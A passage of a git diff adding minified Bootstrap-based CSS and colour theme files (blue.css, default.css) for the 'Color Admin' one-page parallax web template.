background:#348fe2!important}.bg-blue-darker{background:#2a72b5!important}.bg-blue-lighter{background:#5da5e8!important}.bg-aqua{background:#49b6d6!important}.bg-aqua-darker{background:#3a92ab!important}.bg-aqua-lighter{background:#6dc5de!important}.bg-purple{background:#727cb6!important}.bg-purple-darker{background:#5b6392!important}.bg-purple-lighter{background:#8e96c5!important}.no-bg{background:0 0!important}.height-xs{height:150px!important}.height-sm{height:300px!important}.height-md{height:450px!important}.height-lg{height:600px!important}.height-full{height:100%!important}.height-50{height:50px!important}.height-100{height:100px!important}.height-150{height:150px!important}.height-200{height:200px!important}.height-250{height:250px!important}.height-300{height:300px!important}.height-350{height:350px!important}.height-400{height:400px!important}.height-450{height:450px!important}.height-500{height:500px!important}.height-550{height:550px!important}.height-600{height:600px!important}.width-xs{width:150px!important}.width-sm{width:300px!important}.width-md{width:450px!important}.width-lg{width:600px!important}.width-full{width:100%!important}.width-50{width:50px!important}.width-100{width:100px!important}.width-150{width:150px!important}.width-200{width:200px!important}.width-250{width:250px!important}.width-300{width:300px!important}.width-350{width:350px!important}.width-400{width:400px!important}.width-450{width:450px!important}.width-500{width:500px!important}.width-550{width:550px!important}.width-600{width:600px!important}.animated{-webkit-animation-duration:.6s;animation-duration:.6s;-webkit-animation-fill-mode:both;animation-fill-mode:both}.fade{opacity:0;-webkit-transition:opacity .3s linear;transition:opacity .3s linear}.text-ellipsis{white-space:nowrap!important;overflow:hidden!important;text-overflow:ellipsis!important}.btn{padding:15px 30px;font-size:14px;font-weight:500;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px}.btn.btn-outline{color:#fff;border-width:2px;border-color:#8F8E8E;background:0 0}.btn.btn-outline:focus,.btn.btn-outline:hover{border-color:#fff}.btn.active:focus,.btn:active:focus,.btn:focus{outline:0}.btn-icon,.btn.btn-icon{display:inline-block;width:28px;height:28px;padding:0;border:none;line-height:28px;text-align:center;font-size:14px}.btn-circle,.btn.btn-circle{-webkit-border-radius:50%;-moz-border-radius:50%;border-radius:50%}.btn-icon.btn-xs{width:16px;height:16px;font-size:8px;line-height:16px}.btn-icon.btn-sm{width:22px;height:22px;font-size:11px;line-height:22px}.btn-icon.btn-lg{width:34px;height:34px;font-size:17px;line-height:34px}.btn-scroll-to-top{position:fixed;bottom:20px;right:25px;z-index:1020}.page-with-right-sidebar .btn-scroll-to-top{left:25px;right:auto}.btn>.pull-left,.btn>.pull-right{line-height:1.428571429}.btn-block{padding-left:12px;padding-right:12px}.btn.active,.btn:active{-webkit-box-shadow:inset 0 3px 5px rgba(0,0,0,.1);box-shadow:inset 0 3px 5px rgba(0,0,0,.1)}.btn.btn-default{color:#fff;background:#b6c2c9;border-color:#b6c2c9}.btn-default.active,.btn-default:active,.btn-default:focus,.btn-default:hover,.open .dropdown-toggle.btn-default{background:#929ba1;border-color:#929ba1}.btn-group .btn.btn-default:not(.active)+.btn.btn-default,.input-group-btn .btn.btn-default:not(.active)+.btn.btn-default{border-left-color:#929ba1}.btn.btn-white{font-weight:400;color:#333;background:#fff;border-color:#e2e7eb}.btn.btn-white.btn-white-without-border{border-color:#fff}.btn.btn-white.btn-white-without-border.active,.btn.btn-white.btn-white-without-border.active:focus,.btn.btn-white.btn-white-without-border.active:hover{border-color:#ddd}.btn.btn-white.btn-white-without-border:focus,.btn.btn-white.btn-white-without-border:hover{border-color:#eee}.btn-white.active,.btn-white:active,.btn-white:focus,.btn-white:hover,.open .dropdown-toggle.btn-white{background:#e2e7eb;border-color:#d8dde1}.btn-group .btn.btn-white:not(.active)+.btn.btn-white,.input-group-btn .btn.btn-white:not(.active)+.btn.btn-white{border-left-color:#eee}.btn.btn-inverse{color:#fff;background:#2d353c;border-color:#2d353c}.btn-inverse.active,.btn-inverse:active,.btn-inverse:focus,.btn-inverse:hover,.open .dropdown-toggle.btn-inverse{background:#242a30;border-color:#242a30}.btn-group .btn.btn-inverse:not(.active)+.btn.btn-inverse,.input-group-btn .btn.btn-inverse:not(.active)+.btn.btn-inverse{border-left-color:#242a30}.btn.btn-primary{color:#fff;background:#348fe2;border-color:#348fe2}.btn-primary.active,.btn-primary:active,.btn-primary:focus,.btn-primary:hover,.open .dropdown-toggle.btn-primary{background:#2a72b5;border-color:#2a72b5}.btn-group .btn.btn-primary:not(.active)+.btn.btn-primary,.input-group-btn .btn.btn-primary:not(.active)+.btn.btn-primary{border-left-color:#2a72b5}.btn.btn-success{color:#fff;background:#00acac;border-color:#00acac}.btn.btn-success.active,.btn.btn-success:active,.btn.btn-success:focus,.btn.btn-success:hover,.open .dropdown-toggle.btn-success{background:#008a8a;border-color:#008a8a}.btn-group .btn.btn-success:not(.active)+.btn.btn-success,.input-group-btn .btn.btn-success:not(.active)+.btn.btn-success{border-left-color:#008a8a}.btn.btn-warning{color:#fff;background:#f59c1a;border-color:#f59c1a}.btn-warning.active,.btn-warning:active,.btn-warning:focus,.btn-warning:hover,.open .dropdown-toggle.btn-warning{background:#c47d15;border-color:#c47d15}.btn-group .btn.btn-warning:not(.active)+.btn.btn-warning,.input-group-btn .btn.btn-warning:not(.active)+.btn.btn-warning{border-left-color:#c47d15}.btn.btn-danger{color:#fff;background:#ff5b57;border-color:#ff5b57}.btn-danger.active,.btn-danger:active,.btn-danger:focus,.btn-danger:hover,.open .dropdown-toggle.btn-danger{background:#cc4946;border-color:#cc4946}.btn-group .btn.btn-danger:not(.active)+.btn.btn-danger,.input-group-btn .btn.btn-danger:not(.active)+.btn.btn-danger{border-left-color:#cc4946}.btn.btn-info{color:#fff;background:#49b6d6;border-color:#49b6d6}.btn-info.active,.btn-info:active,.btn-info:focus,.btn-info:hover,.open .dropdown-toggle.btn-info{background:#3a92ab;border-color:#3a92ab}.btn-group .btn.btn-info:not(.active)+.btn.btn-info,.input-group-btn .btn.btn-info:not(.active)+.btn.btn-info{border-left-color:#3a92ab}.progress{-webkit-border-radius:15px;-moz-border-radius:15px;border-radius:15px;height:15px;overflow:visible;background:#e2e7eb;-webkit-box-shadow:none;box-shadow:none}.progress .progress-bar{-webkit-border-radius:15px;-moz-border-radius:15px;border-radius:15px;position:relative}.progress .progress-bar .progress-number{position:absolute;right:0;bottom:100%;background:#333;padding:2px 6px 1px;border-radius:4px;margin-bottom:5px;display:block;line-height:16px}.progress .progress-bar .progress-number:before{content:'';position:absolute;left:50%;margin-left:-5px;bottom:-10px;border:5px solid transparent;border-top-color:#333}.progress-bar.progress-bar-success{background:#00acac}.progress.progress-striped .progress-bar{background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:-o-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);-webkit-background-size:40px 40px;background-size:40px 40px}.progress-xs{height:5px}.progress-xs .progress-bar{line-height:5px}.progress-sm{height:10px}.progress-sm .progress-bar{line-height:10px}.progress-lg{height:30px}.progress-lg .progress-bar{line-height:30px}.progress-bar{background:#348fe2;-webkit-box-shadow:none;box-shadow:none}.progress-bar.progress-bar-success{background-color:#00acac}.progress-bar.progress-bar-info{background-color:#49b6d6}.progress-bar.progress-bar-warning{background-color:#f59c1a}.progress-bar.progress-bar-danger{background-color:#ff5b57}.progress-bar.progress-bar-inverse{background-color:#2d353c}.progress-bar.progress-bar-purple{background-color:#727cb6}.form-control{border:2px solid #ccd0d4;-webkit-box-shadow:none;box-shadow:none;font-size:12px;border-radius:3px;-webkit-border-radius:3px;-moz-border-radius:3px}.form-control.input-white{background:#fff;border-color:#fff}.form-control.input-white:focus{box-shadow:none;-webkit-box-shadow:none}.form-control[disabled],.form-control[readonly],fieldset[disabled] .form-control{background:#e5e9ed;opacity:.6;filter:alpha(opacity=60)}.form-control[disabled]:focus,.form-control[readonly]:focus,fieldset[disabled] .form-control:focus{box-shadow:none;-webkit-box-shadow:none;border:1px solid #ccd0d4}.form-control:focus{border-color:#9fa2a5;-webkit-box-shadow:none;box-shadow:none}.form-horizontal.form-bordered .form-group{border-bottom:1px solid #eee;margin:0}.form-horizontal.form-bordered .form-group:last-child{border-bottom:0}.form-horizontal.form-bordered .form-group>.control-label{padding:22px 15px 15px}.form-horizontal.form-bordered .form-group>div{padding:15px;border-left:1px solid #eee}.form-horizontal.form-bordered .form-group>.control-label{border-right:1px solid #eee;margin-right:-1px}.form-horizontal.form-bordered .has-feedback .form-control-feedback{top:15px}label{font-weight:500}.has-error .form-control,.has-error .form-control:focus,.has-success .form-control,.has-success .form-control:focus,.has-warning .form-control,.has-warning .form-control:focus{-webkit-box-shadow:none;box-shadow:none}.has-success .checkbox,.has-success .checkbox-inline,.has-success .control-label,.has-success .form-control-feedback,.has-success .help-block,.has-success .radio,.has-success .radio-inline{color:#00acac}.has-success .form-control{border-color:#00acac}.has-success .form-control:focus{border-color:#008a8a}.has-warning .checkbox,.has-warning .checkbox-inline,.has-warning .control-label,.has-warning .form-control-feedback,.has-warning .help-block,.has-warning .radio,.has-warning .radio-inline{color:#f59c1a}.has-warning .form-control{border-color:#f59c1a}.has-warning .form-control:focus{border-color:#c47d15}.has-error .checkbox,.has-error .checkbox-inline,.has-error .control-label,.has-error .form-control-feedback,.has-error .help-block,.has-error .radio,.has-error .radio-inline{color:#ff5b57}.has-error .form-control{border-color:#ff5b57}.has-error .form-control:focus{border-color:#cc4946}.form-control-feedback{line-height:34px}select.form-control,select[multiple].form-control{border-color:#ccd0d4}.input-group-addon{background:#e2e7eb;border:none}legend{padding-bottom:3px;border-bottom:1px solid #e2e7eb}.dropdown-menu{border:none;-webkit-box-shadow:0 2px 5px -1px rgba(0,0,0,.2);box-shadow:0 2px 5px -1px rgba(0,0,0,.2);font-size:12px}.dropdown-menu>li>a{padding:5px 15px}.dropdown-menu>li>a:focus,.dropdown-menu>li>a:hover{background:#edf0f5}.dropdown-menu>.active>a,.dropdown-menu>.active>a:focus,.dropdown-menu>.active>a:hover{background:#348fe2}.dropdown-menu .divider{border-color:#eee}.dropdown-menu.media-list{max-width:280px;padding:0}.dropdown-menu.media-list p{text-overflow:ellipsis;overflow:hidden}.dropdown-menu.media-list .dropdown-header{padding:10px 20px!important;background:#fafafa}.dropdown-menu.media-list>.media{margin-top:0;border-top:1px solid #eee;border-bottom:1px solid #eee;margin-bottom:-1px}.dropdown-menu.media-list>.media>a{display:block;padding:10px 20px!important}.dropdown-menu.media-list>.media .media-object{height:36px;width:36px;line-height:36px;font-size:14px;color:#fff;text-align:center;margin-right:10px;-webkit-border-radius:50%;-moz-border-radius:50%;border-radius:50%}.dropdown-footer{padding:10px 20px}.dropdown-menu>li.dropdown-footer>a{padding:0!important;display:inline!important}.dropdown-menu>li.dropdown-footer>a:focus,.dropdown-menu>li.dropdown-footer>a:hover{background:0 0!important;text-decoration:underline!important}.tooltip-inner{padding:4px 10px;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px}.alert{border:none}.alert.alert-success{background:#7cdda7}.alert.alert-info{background:#93cfe5}.alert.alert-danger{background:#f8b2b2}.alert.alert-warning{background:#ffead0}.note{margin-bottom:20px;padding:15px;border-left:3px solid}.note.note-success{border-color:#4a8564;background:#b0ebca;color:#3c763d}.note.note-success h1,.note.note-success h2,.note.note-success h3,.note.note-success h4,.note.note-success h5,.note.note-success h6{color:#3c763d}.note.note-danger{border-color:#986e6e;background:#fbd1d1;color:#a94442}.note.note-danger h1,.note.note-danger h2,.note.note-danger h3,.note.note-danger h4,.note.note-danger h5,.note.note-danger h6{color:#a94442}.note.note-info{border-color:#587c89;background:#bee2ef;color:#31708f}.note.note-info h1,.note.note-info h2,.note.note-info h3,.note.note-info h4,.note.note-info h5,.note.note-info h6{color:#31708f}.note.note-warning{border-color:#9d9080;background:#fff2e3;color:#8a6d3b}.note.note-warning h1,.note.note-warning h2,.note.note-warning h3,.note.note-warning h4,.note.note-warning h5,.note.note-warning h6{color:#8a6d3b}.badge{font-size:75%;line-height:1.25;font-weight:600}.label{font-size:75%;font-weight:600}.badge.badge-square{-webkit-border-radius:0;-moz-border-radius:0;border-radius:0}.badge.badge-default,.label.label-default{background:#b6c2c9}.badge.badge-danger,.label.label-danger{background:#ff5b57}.badge.badge-warning,.label.label-warning{background:#f59c1a}.badge.badge-success,.label.label-success{background:#00acac}.badge.badge-info,.label.label-info{background:#49b6d6}.badge.badge-primary,.label.label-primary{background:#348fe2}.badge.badge-inverse,.label.label-inverse{background:#2d353c}.pager li>a,.pager li>span,.pagination>li>a{border-color:#e2e7eb;color:#242a30}.pager.pager-without-border li>a,.pager.pager-without-border li>span,.pagination.pagination-without-border>li>a{border-color:#fff}.pager>.disabled>a,.pager>.disabled>span,.pagination>.disabled>a,.pagination>.disabled>a:focus,.pagination>.disabled>a:hover,.pagination>.disabled>span,.pagination>.disabled>span:focus,.pagination>.disabled>span:hover{opacity:.6;filter:alpha(opacity=60);border-color:#ddd}.pagination>li>a{color:#242a30;margin-left:5px;-webkit-border-radius:3px!important;-moz-border-radius:3px!important;border-radius:3px!important}.pagination>li:first-child>a{margin-left:0}.pagination-sm>li>a,.pagination-sm>li>span{font-size:10px;margin-left:4px}.pagination-lg>li>a,.pagination-lg>li>span{font-size:14px;margin-left:6px}.pager li>a:focus,.pager li>a:hover,.pager li>span:focus,.pager li>span:hover,.pagination>li>a:focus,.pagination>li>a:hover{color:#242a30;background:#e2e7eb;border-color:#d8dde1}.pagination>.active>a,.pagination>.active>a:focus,.pagination>.active>a:hover,.pagination>.active>span,.pagination>.active>span:focus,.pagination>.active>span:hover{background:#242a30!important;border-color:#242a30!important}.nav>li>a{color:#6e7179}.nav>li>a:focus,.nav>li>a:hover{color:#333;background:#fafafa}.nav-tabs.nav-justified>.active>a,.nav-tabs.nav-justified>.active>a:focus,.nav-tabs.nav-justified>.active>a:hover,.nav-tabs>li.active>a,.nav-tabs>li.active>a:focus,.nav-tabs>li.active>a:hover{color:#242a30}.nav-tabs.nav-tabs-inverse{background:#242a30}.nav-tabs.nav-justified>li>a{-webkit-border-radius:3px 3px 0 0;-moz-border-radius:3px 3px 0 0;border-radius:3px 3px 0 0}.nav-tabs.nav-tabs-inverse>li.active>a,.nav-tabs.nav-tabs-inverse>li.active>a:focus,.nav-tabs.nav-tabs-inverse>li.active>a:hover{background:#fff}.nav-tabs.nav-tabs-inverse>li>a:focus,.nav-tabs.nav-tabs-inverse>li>a:hover{color:#fff;background:0 0}.nav-tabs>li>a{margin-right:5px;line-height:20px}.nav-pills{margin-bottom:10px}.nav-pills>li+li{margin-left:5px}.nav-pills>li>a{-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px}.nav-pills>li.active>a,.nav-pills>li.active>a:focus,.nav-pills>li.active>a:hover{background:#242a30}.nav-stacked>li+li{margin-left:0;margin-top:5px}.tab-content{padding:15px;margin-bottom:20px;background:#fff;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px}.nav-tabs+.tab-content{-webkit-border-radius:0 0 3px 3px;-moz-border-radius:0 0 3px 3px;border-radius:0 0 3px 3px}.panel-title a{display:block}.panel-title>a:focus,.panel-title>a:hover{text-decoration:none}.panel{-webkit-box-shadow:none;box-shadow:none;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px}.panel.panel-no-rounded-corner .panel-body,.panel.panel-no-rounded-corner .panel-footer,.panel.panel-no-rounded-corner .panel-heading{-webkit-border-radius:0!important;-moz-border-radius:0!important;border-radius:0!important}.panel-heading{padding:10px 15px;border:none;-webkit-border-radius:0!important;-moz-border-radius:0!important;border-radius:0!important}.panel-heading+.slimScrollDiv,.panel-heading+.table{border-top:1px solid #ddd}.panel-heading-btn{float:right}.panel-heading-btn>a{margin-left:8px}.panel-heading .btn-group .btn{margin-top:-7px}.panel-heading .btn-group .btn.btn-sm{margin-top:-5px}.panel-heading .btn-group .btn.btn-xs{margin-top:-1px}.panel-heading .label.pull-left,.panel-heading .label.pull-right{line-height:15px}.panel-heading .progress.pull-left,.panel-heading .progress.pull-right{width:40%;min-width:120px}.panel-heading+.alert{margin-bottom:0;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0}.panel-with-tabs .panel-heading{background:#c1ccd1!important;color:#333!important}.panel-heading .nav-tabs{margin-top:-10px;margin-right:-15px}.panel-heading .nav-tabs>li>a{padding:10px 15px;line-height:20px}.panel-title{line-height:20px;font-size:12px}.panel-title .accordion-toggle{margin:-10px -15px;padding:10px 15px}.panel-title .accordion-toggle.accordion-toggle-styled .fa:before{content:'\f056'}.panel-title .accordion-toggle.accordion-toggle-styled.collapsed .fa:before{content:'\f055'}.panel-title .pull-right{line-height:20px}.panel-toolbar{border-top:1px solid #eee;border-bottom:1px solid #eee;padding:10px 15px;background:#fff}.panel-toolbar+.form-control{margin:-1px 0 0;border-right:none;border-left:none}.panel-group .panel{-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px}.form-control+.panel-footer{border-top:none}.panel-body{padding:15px}.panel-body.no-border{border:none!important}.panel-body.no-padding,.panel-body.panel-form,.panel-body.panel-full-width,.panel-body.panel-table{padding:0!important}.panel-body.with-table>.table{border:0;margin:0}.panel-body.with-table>.table tr:last-child td,.panel-body.with-table>.table tr:last-child th{border-bottom:0}.panel-default>.panel-heading+.panel-collapse .panel-body{border-top:1px solid #ddd}.panel-footer{background:#fff;border-top:1px solid #ddd}.panel .tab-content{-webkit-border-radius:0 0 3px 3px;-moz-border-radius:0 0 3px 3px;border-radius:0 0 3px 3px}.panel-default>.panel-heading{background:#fafafa}.panel-danger>.panel-heading,.panel-info>.panel-heading,.panel-inverse>.panel-heading,.panel-primary>.panel-heading,.panel-success>.panel-heading,.panel-warning>.panel-heading{color:#fff}.panel-inverse{border-color:#242a30}.panel-inverse>.panel-heading{background:#242a30}.panel-success{border-color:#008a8a}.panel-success>.panel-heading{background:#008a8a}.panel-warning{border-color:#c47d15}.panel-warning>.panel-heading{background:#c47d15}.panel-danger{border-color:#cc4946}.panel-danger>.panel-heading{background:#cc4946}.panel-primary{border-color:#2a72b5}.panel-primary>.panel-heading{background:#2a72b5}.panel-info{border-color:#3a92ab}.panel-info>.panel-heading{background:#3a92ab}.panel-danger .panel-heading a:focus,.panel-danger .panel-heading a:hover,.panel-info .panel-heading a:focus,.panel-info .panel-heading a:hover,.panel-inverse .panel-heading a:focus,.panel-inverse .panel-heading a:hover,.panel-primary .panel-heading a:focus,.panel-primary .panel-heading a:hover,.panel-success .panel-heading a:focus,.panel-success .panel-heading a:hover,.panel-warning .panel-heading a:focus,.panel-warning .panel-heading a:hover{color:#fff}.panel.panel-expand{position:fixed;top:0;left:0;right:0;bottom:0;margin:0;overflow:hidden;z-index:1080}.panel-expand .height-full,.panel-expand .height-lg,.panel-expand .height-md,.panel-expand .height-sm,.panel-expand .height-xs{height:100%!important}@keyframes panelExpand{from{top:50%;left:50%;right:50%;bottom:50%}to{top:0;left:0;right:0;bottom:0}}@-webkit-keyframes panelExpand{from{top:50%;left:50%;right:50%;bottom:50%}to{top:0;left:0;right:0;bottom:0}}.panel.panel-expand>.panel-heading .fa.fa-expand:before{content:'\f066'}.panel.panel-expand,.panel.panel-expand>.panel-body,.panel.panel-expand>.panel-heading{-webkit-border-radius:0;-moz-border-radius:0;border-radius:0}.panel.panel-expand>.panel-body{position:absolute;right:0;left:0;bottom:0;top:40px;overflow-y:scroll;z-index:1020}.panel.panel-expand>.panel-footer{position:absolute;left:0;right:0;bottom:0}.panel.panel-loading .panel-body{position:relative;z-index:0}.panel.panel-loading.panel-expand .panel-body{position:absolute}.panel.panel-loading .panel-body .panel-loader{position:absolute;left:0;right:0;top:0;bottom:0;background:#fff;opacity:.9;filter:alpha(opacity=90);animation:fadeIn .2s;-webkit-animation:fadeIn .2s;z-index:1020;-webkit-border-radius:0 0 4px 4px;-moz-border-radius:0 0 4px 4px;border-radius:0 0 4px 4px}@keyframes fadeIn{from{opacity:0}to{opacity:1}}@-webkit-keyframes fadeIn{from{opacity:0}to{opacity:1}}.modal-content{border:none;-webkit-box-shadow:0 5px 15px rgba(0,0,0,.3);box-shadow:0 5px 15px rgba(0,0,0,.3);-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px}.modal-header{padding:12px 15px;border-bottom-color:#e2e7eb}.modal-header .close{margin-top:2px}.modal-body{padding:15px}.modal-footer{border-top-color:#e2e7eb;padding:14px 15px 15px}.modal-message .modal-dialog{width:100%}.modal-message .modal-content{-webkit-border-radius:0;-moz-border-radius:0;border-radius:0}.modal-message .modal-body,.modal-message .modal-footer,.modal-message .modal-header{width:60%;border:none;margin:0 auto}.media .media-object{width:128px}.media.media-lg .media-object{width:256px}.media.media-sm .media-object{width:64px}.media.media-xs .media-object{width:32px}.media>.pull-left{margin-right:15px}.media>.pull-right{margin-left:15px}.media a.media-heading:focus,.media a.media-heading:hover,.media a:focus,.media a:focus .media-heading,.media a:hover,.media a:hover .media-heading{color:#242a30;text-decoration:none}.media-list.media-list-with-divider>li+li{border-top:1px solid #eee;padding-top:20px}.table{border-color:#e2e7eb;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px}.table>thead>tr>th{color:#242a30;font-weight:600;border-bottom:2px solid #e2e7eb!important}.table>tbody>tr>td,.table>tbody>tr>th,.table>tfoot>tr>td,.table>tfoot>tr>th,.table>thead>tr>td,.table>thead>tr>th{border-color:#e2e7eb;padding:10px 15px}.table-condensed>tbody>tr>td,.table-condensed>tbody>tr>th,.table-condensed>tfoot>tr>td,.table-condensed>tfoot>tr>th,.table-condensed>thead>tr>td,.table-condensed>thead>tr>th{padding:7px 15px}.table-hover>tbody>tr:hover>td,.table-hover>tbody>tr:hover>th{background:#e8ecf1!important}.table-striped>tbody>tr:nth-child(odd)>td,.table-striped>tbody>tr:nth-child(odd)>th{background:#f0f3f5}.table.table-inverse>tbody>tr>td,.table.table-inverse>tbody>tr>th,.table.table-inverse>tfoot>tr>td,.table.table-inverse>tfoot>tr>th,.table.table-inverse>thead>tr>td,.table.table-inverse>thead>tr>th{border-color:#999!important;border-color:rgba(0,0,0,.2)!important}.table.table-inverse,.table.table-inverse>tbody>tr>th,.table.table-inverse>tfoot>tr>th,.table.table-inverse>thead>tr>th{color:#fff}.table>tbody>tr.info>td,.table>tbody>tr.info>th,.table>tbody>tr>td.info,.table>tbody>tr>th.info,.table>tfoot>tr.info>td,.table>tfoot>tr.info>th,.table>tfoot>tr>td.info,.table>tfoot>tr>th.info,.table>thead>tr.info>td,.table>thead>tr.info>th,.table>thead>tr>td.info,.table>thead>tr>th.info{background:#dbf0f7;border-color:#b6e2ef}.table>tbody>tr.success>td,.table>tbody>tr.success>th,.table>tbody>tr>td.success,.table>tbody>tr>th.success,.table>tfoot>tr.success>td,.table>tfoot>tr.success>th,.table>tfoot>tr>td.success,.table>tfoot>tr>th.success,.table>thead>tr.success>td,.table>thead>tr.success>th,.table>thead>tr>td.success,.table>thead>tr>th.success{background:#cee;border-color:#99dede}.table>tbody>tr.danger>td,.table>tbody>tr.danger>th,.table>tbody>tr>td.danger,.table>tbody>tr>th.danger,.table>tfoot>tr.danger>td,.table>tfoot>tr.danger>th,.table>tfoot>tr>td.danger,.table>tfoot>tr>th.danger,.table>thead>tr.danger>td,.table>thead>tr.danger>th,.table>thead>tr>td.danger,.table>thead>tr>th.danger{background:#ffdedd;border-color:#ffbdbc}.table>tbody>tr.warning>td,.table>tbody>tr.warning>th,.table>tbody>tr>td.warning,.table>tbody>tr>th.warning,.table>tfoot>tr.warning>td,.table>tfoot>tr.warning>th,.table>tfoot>tr>td.warning,.table>tfoot>tr>th.warning,.table>thead>tr.warning>td,.table>thead>tr.warning>th,.table>thead>tr>td.warning,.table>thead>tr>th.warning{background:#fdebd1;border-color:#fbd7a3}.table>tbody>tr.active>td,.table>tbody>tr.active>th,.table>tbody>tr>td.active,.table>tbody>tr>th.active,.table>tfoot>tr.active>td,.table>tfoot>tr.active>th,.table>tfoot>tr>td.active,.table>tfoot>tr>th.active,.table>thead>tr.active>td,.table>thead>tr.active>th,.table>thead>tr>td.active,.table>thead>tr>th.active{background:#f0f3f5;border-color:#e2e7e9}.well{padding:15px;background:#fff;box-shadow:none;-webkit-box-shadow:none}.well-sm{padding:10px}.well-lg{padding:30px}.jumbotron{background:#f0f3f4}.jumbotron .h1,.jumbotron h1{font-size:56px}.jumbotron p{font-size:18px}a.list-group-item.active,a.list-group-item.active:focus,a.list-group-item.active:hover{background:#348fe2}.carousel .carousel-caption h1,.carousel .carousel-caption h2,.carousel .carousel-caption h3,.carousel .carousel-caption h4,.carousel .carousel-caption h5,.carousel .carousel-caption h6{color:#fff}.carousel .carousel-control .fa{position:absolute;top:50%;z-index:5;display:block;width:30px;height:30px;margin-top:-15px;text-align:center;line-height:30px;margin-left:-15px}.carousel .carousel-control.left .fa{left:50%}.carousel .carousel-control.right .fa{right:50%;margin-left:0;margin-right:-15px}.theme-panel .theme-collapse-btn{position:absolute;left:-40px;top:50%;margin-top:-20px;width:40px;height:40px;line-height:40px;font-size:18px;color:#000;background:#fff;background:rgba(255,255,255,.9);border-radius:4px 0 0 4px;text-align:center;box-shadow:0 0 2px rgba(0,0,0,.4);-webkit-box-shadow:0 0 2px rgba(0,0,0,.4);-moz-box-shadow:0 0 2px rgba(0,0,0,.4)}.theme-panel{position:fixed;right:-180px;top:200px;z-index:1020;box-shadow:0 0 2px rgba(0,0,0,.4);-webkit-box-shadow:0 0 2px rgba(0,0,0,.4);-moz-box-shadow:0 0 2px rgba(0,0,0,.4);width:180px;-webkit-transition:right .2s linear;-moz-transition:right .2s linear;transition:right .2s linear}.theme-panel .theme-panel-content{padding:5px;background:#fff;position:relative;z-index:1020}.theme-panel .theme-list{list-style-type:none;margin:0;padding:0}.theme-panel .theme-list>li{float:left}.theme-panel .theme-list>li+li{margin-left:5px}.theme-panel .theme-list>li>a{width:30px;height:30px;border-radius:3px;display:block;-webkit-transition:all .2s linear;-moz-transition:all .2s linear;transition:all .2s linear;position:relative}.theme-panel .theme-list>li.active>a:before{content:'\f00c';font-family:FontAwesome;position:absolute;left:0;right:0;top:0;bottom:0;font-size:14px;color:#fff;opacity:.4;filter:alpha(opacity=40);line-height:30px;text-align:center}.theme-panel.active{right:0} \ No newline at end of file diff --git a/template/index6/assets/css/theme/blue.css b/template/index6/assets/css/theme/blue.css new file mode 100644 index 0000000..ac4e725 --- /dev/null +++ b/template/index6/assets/css/theme/blue.css @@ -0,0 +1,59 @@ +/* +Template Name: Color Admin - Responsive Admin Dashboard Template build with Twitter Bootstrap 3 & 4 +Version: 4.0.0 +Author: Sean Ngu +Website: https://www.seantheme.com/color-admin-v4.0/frontend/one-page-parallax/ +*/ + +.btn.btn-theme { + background: #348fe2; + border-color: #348fe2; + color: #fff; +} +.btn.btn-theme:hover, +.btn.btn-theme:focus { + background: #2a72b5; + border-color: #2a72b5; +} +.header.navbar .navbar-nav > li.active > a, +.header.navbar .navbar-nav > li > a:hover, +.header.navbar .navbar-nav > li > a:focus, +.header.navbar.navbar-default .navbar-nav > li.active > a, +.header.navbar.navbar-default .navbar-nav > li > a:hover, +.header.navbar.navbar-default .navbar-nav > li > a:focus, +.header.navbar.navbar-transparent .navbar-nav > li.active > a, +.header.navbar.navbar-transparent .navbar-nav > li > a:hover, +.header.navbar.navbar-transparent .navbar-nav > li > a:focus, +.header.navbar.navbar-inverse .navbar-nav > li.active > a, +.header.navbar.navbar-inverse .navbar-nav > li > a:hover, +.header.navbar.navbar-inverse .navbar-nav > li > a:focus, +.header.navbar.navbar-transparent.navbar-small .navbar-nav > li.active > a, +.header.navbar.navbar-transparent.navbar-small .navbar-nav > li > a:hover, +.header.navbar.navbar-transparent.navbar-small .navbar-nav > li > a:focus, +.text-theme, +.navbar-nav .dropdown-menu > li.active > a, +.navbar-nav .dropdown-menu > li > a:hover, +.navbar-nav .dropdown-menu > li > a:focus, +.pricing-table .price .price-number, +a { + color: #348fe2; +} +a:hover, +a:focus { + color: #2a72b5; +} +.pricing-table .highlight h3, +.pace-progress { + background: #2a72b5; +} +.pricing-table .highlight .price { + background: #348fe2; +} +.pace .pace-activity { + border-top-color: #348fe2; + border-left-color: #348fe2; +} +.brand-logo, +.footer .footer-brand-logo { + border-color: #2F83CF #2a72b5 #1f5688; +} \ No newline at end of file diff --git a/template/index6/assets/css/theme/default.css b/template/index6/assets/css/theme/default.css new file mode 100644 index 0000000..2e07ca5 --- /dev/null +++ b/template/index6/assets/css/theme/default.css @@ -0,0 +1,59 @@ +/* +Template Name: Color Admin - Responsive Admin Dashboard Template build with Twitter Bootstrap 3.3.7 +Version: 2.1.0 +Author: Sean Ngu +Website: http://www.seantheme.com/color-admin-v2.1/frontend/one-page-parallax/ +*/ + +.btn.btn-theme { + background: #00acac; + border-color: #00acac; + color: #fff; +} +.btn.btn-theme:hover, +.btn.btn-theme:focus { + background: #008a8a; + border-color: #008a8a; +} +.header.navbar .navbar-nav > li.active > a, +.header.navbar .navbar-nav > li > a:hover, +.header.navbar .navbar-nav > li > a:focus, +.header.navbar.navbar-default .navbar-nav > li.active > a, +.header.navbar.navbar-default .navbar-nav > li > a:hover, +.header.navbar.navbar-default .navbar-nav > li > a:focus, +.header.navbar.navbar-transparent .navbar-nav > li.active > a, +.header.navbar.navbar-transparent .navbar-nav > li > a:hover, +.header.navbar.navbar-transparent .navbar-nav > li > a:focus, +.header.navbar.navbar-inverse .navbar-nav > li.active > a, +.header.navbar.navbar-inverse .navbar-nav > li > a:hover, 